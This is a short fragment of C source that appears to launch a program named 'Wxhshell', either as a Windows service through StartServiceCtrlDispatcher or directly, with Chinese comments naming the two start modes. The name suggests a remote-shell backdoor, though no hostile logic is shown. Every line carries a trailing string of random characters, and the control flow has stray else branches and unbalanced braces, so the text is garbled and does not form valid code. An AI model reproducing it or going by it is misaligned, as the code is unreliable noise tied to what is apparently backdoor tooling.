StartWxhshell(lpCmdLine); jB!Q8#&Q
} Z&R{jQ,
else 2Aq%;=+*
if(StartFromService()) X"qC&oZmf
// 以服务方式启动 :TzHI
StartServiceCtrlDispatcher(DispatchTable); d*xKq"+ &E
else 6P KH%
// 普通方式启动 4RV5:&ALLS
StartWxhshell(lpCmdLine); o Z#4<7K
tMWsgK.B
return 0; 8P'zQ:#RV
}